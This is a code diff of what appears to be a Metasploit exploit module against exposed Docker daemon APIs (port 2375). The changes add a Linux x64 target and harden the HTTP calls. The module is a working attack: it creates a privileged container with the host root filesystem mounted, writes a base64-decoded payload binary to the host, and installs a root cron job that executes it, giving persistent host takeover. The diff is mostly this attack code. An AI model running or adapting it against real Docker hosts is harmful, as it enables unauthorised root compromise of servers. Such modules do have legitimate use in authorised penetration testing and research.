@@ -33,46 +33,53 @@ def initialize(info = {})
33
33
] ,
34
34
'DisclosureDate' => 'Jul 25, 2017' ,
35
35
'Targets' => [
36
+ [ 'Linux x64' , {
37
+ 'Arch' => ARCH_X64 ,
38
+ 'Platform' => 'linux'
39
+ } ] ,
36
40
[ 'Python' , {
37
- 'Platform' => 'python' ,
38
41
'Arch' => ARCH_PYTHON ,
42
+ 'Platform' => 'python' ,
39
43
'Payload' => {
40
44
'Compat' => {
41
45
'ConnectionType' => 'reverse noconn none tunnel'
42
46
}
43
47
}
44
48
} ]
45
49
] ,
46
- 'DefaultOptions' => { 'WfsDelay' => 180 , 'Payload' => 'python/meterpreter/reverse_tcp' } ,
50
+ 'Payload' => { 'Space' => 65000 , 'DisableNops' => true } ,
51
+ 'DefaultOptions' => { 'WfsDelay' => 180 } ,
47
52
'DefaultTarget' => 0 ) )
48
53
49
54
register_options (
50
55
[
51
56
Opt ::RPORT ( 2375 ) ,
52
- OptString . new ( 'DOCKERIMAGE' , [ true , 'hub.docker.com image to use' , 'python:3-slim ' ] ) ,
57
+ OptString . new ( 'DOCKERIMAGE' , [ true , 'hub.docker.com image to use' , 'alpine:latest ' ] ) ,
53
58
OptString . new ( 'CONTAINER_ID' , [ false , 'container id you would like' ] )
54
59
]
55
60
)
56
61
end
57
62
58
63
def check_image ( image_id )
59
64
vprint_status ( "Check if images exist on the target host" )
60
- res = send_request_raw (
65
+ res = send_request_cgi (
61
66
'method' => 'GET' ,
62
- 'uri' => normalize_uri ( 'images' , 'json' )
67
+ 'uri' => normalize_uri ( 'images' , 'json' ) ,
68
+ 'ctype' => 'application/json'
63
69
)
64
- return unless res and res . code == 200 and res . body . include? image_id
70
+ return unless res && res . code == 200 && res . body . include? ( image_id )
65
71
66
72
res
67
73
end
68
74
69
75
def pull_image ( image_id )
70
76
print_status ( "Trying to pulling image from docker registry, this may take a while" )
71
- res = send_request_raw (
77
+ res = send_request_cgi (
72
78
'method' => 'POST' ,
73
- 'uri' => normalize_uri ( 'images' , 'create?fromImage=' + image_id )
79
+ 'uri' => normalize_uri ( 'images' , 'create?fromImage=' + image_id ) ,
80
+ 'ctype' => 'application/json'
74
81
)
75
- return unless res . code == 200
82
+ return unless res && res . code == 200
76
83
77
84
res
78
85
end
@@ -88,12 +95,17 @@ def make_cmd(mnt_path, cron_path, payload_path)
88
95
echo_cron_path = mnt_path + cron_path
89
96
echo_payload_path = mnt_path + payload_path
90
97
91
- cron_command = "python #{ payload_path } "
92
- payload_data = payload . raw
98
+ case target
99
+ when targets [ 0 ] # linux
100
+ command = "echo #{ Rex ::Text . encode_base64 ( payload . encoded_exe ) } | base64 -d > #{ echo_payload_path } \& \& chmod +x #{ echo_payload_path } \& \& "
101
+ cron_command = payload_path
102
+ when targets [ 1 ] # python
103
+ command = "echo \" #{ payload . raw } \" >> #{ echo_payload_path } \& \& "
104
+ cron_command = "python #{ payload_path } "
105
+ end
93
106
94
- command = "echo \" #{ payload_data } \" >> #{ echo_payload_path } && "
95
- command << "echo \" PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{ echo_cron_path } && "
96
- command << "echo \" \" >> #{ echo_cron_path } && "
107
+ command << "echo \" PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{ echo_cron_path } \& \& "
108
+ command << "echo \" \" >> #{ echo_cron_path } \& \& "
97
109
command << "echo \" * * * * * root #{ cron_command } \" >> #{ echo_cron_path } "
98
110
99
111
command
@@ -108,25 +120,29 @@ def make_container(mnt_path, cron_path, payload_path)
108
120
'HostConfig' => {
109
121
'Binds' => [
110
122
'/:' + mnt_path
111
- ]
123
+ ] ,
124
+ 'Privileged' => true ,
125
+ 'UsernsMode' => 'host'
112
126
}
113
127
}
114
128
end
115
129
116
130
def del_container ( container_id )
117
- send_request_raw (
131
+ send_request_cgi (
118
132
{
119
133
'method' => 'DELETE' ,
120
- 'uri' => normalize_uri ( 'containers' , container_id )
134
+ 'uri' => normalize_uri ( 'containers' , container_id ) ,
135
+ 'ctype' => 'application/json'
121
136
} ,
122
137
1 # timeout
123
138
)
124
139
end
125
140
126
141
def check
127
- res = send_request_raw (
142
+ res = send_request_cgi (
128
143
'method' => 'GET' ,
129
144
'uri' => normalize_uri ( 'containers' , 'json' ) ,
145
+ 'ctype' => 'application/json' ,
130
146
'headers' => { 'Accept' => 'application/json' }
131
147
)
132
148
@@ -135,7 +151,7 @@ def check
135
151
return Exploit ::CheckCode ::Unknown
136
152
end
137
153
138
- if res and res . code == 200 and res . headers [ 'Server' ] . include? 'Docker'
154
+ if res && res . code == 200 && res . headers [ 'Server' ] . include? ( 'Docker' )
139
155
return Exploit ::CheckCode ::Vulnerable
140
156
end
141
157
@@ -161,10 +177,10 @@ def exploit
161
177
container_id = make_container_id
162
178
163
179
# create container
164
- res_create = send_request_raw (
180
+ res_create = send_request_cgi (
165
181
'method' => 'POST' ,
166
182
'uri' => normalize_uri ( 'containers' , 'create?name=' + container_id ) ,
167
- 'headers' => { 'Content-Type' => 'application/json' } ,
183
+ 'ctype' => 'application/json' ,
168
184
'data' => make_container ( mnt_path , cron_path , payload_path ) . to_json
169
185
)
170
186
fail_with ( Failure ::Unknown , 'Failed to create the docker container' ) unless res_create && res_create . code == 201
@@ -173,25 +189,27 @@ def exploit
173
189
register_files_for_cleanup ( cron_path , payload_path )
174
190
175
191
# start container
176
- send_request_raw (
192
+ send_request_cgi (
177
193
{
178
194
'method' => 'POST' ,
179
- 'uri' => normalize_uri ( 'containers' , container_id , 'start' )
195
+ 'uri' => normalize_uri ( 'containers' , container_id , 'start' ) ,
196
+ 'ctype' => 'application/json'
180
197
} ,
181
198
1 # timeout
182
199
)
183
200
184
201
# wait until container stopped
185
202
vprint_status ( "Waiting until the docker container stopped" )
186
- res_wait = send_request_raw (
203
+ res_wait = send_request_cgi (
187
204
'method' => 'POST' ,
188
205
'uri' => normalize_uri ( 'containers' , container_id , 'wait' ) ,
206
+ 'ctype' => 'application/json' ,
189
207
'headers' => { 'Accept' => 'application/json' }
190
208
)
191
209
192
210
# delete container
193
211
deleted_container = false
194
- if res_wait . code == 200
212
+ if res_wait && res_wait . code == 200
195
213
vprint_status ( "The docker container has been stopped, now trying to remove it" )
196
214
del_container ( container_id )
197
215
deleted_container = true
0 commit comments